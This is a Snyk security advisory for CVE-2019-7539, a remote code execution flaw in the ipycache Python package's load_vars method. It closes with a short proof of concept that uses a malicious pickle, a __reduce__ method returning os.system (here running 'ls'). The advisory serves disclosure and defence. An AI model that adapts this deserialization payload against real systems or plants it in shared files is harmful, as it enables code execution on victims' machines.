Remote Code Execution (RCE) Affecting ipycache package, versions [0,]
Snyk CVSS
Attack Complexity
High
User Interaction
Required
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.2% (58th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-IPYCACHE-173995
- published 21 Mar 2019
- disclosed 21 Mar 2019
- credit bigbigliang-malwarebenchmark
Introduced: 21 Mar 2019
CVE-2019-7539 Open this link in a new tabHow to fix?
There is no fixed version for ipycache.
Overview
ipycache is a package that defines a %%cache cell magic in the iPython notebook to cache results of long-lasting computations in a persistent pickle file.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) in the ipycache.load_vars method.
PoC
import os
import pickle
import ipycache
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
ipycache.load_vars('a-file.pickle','')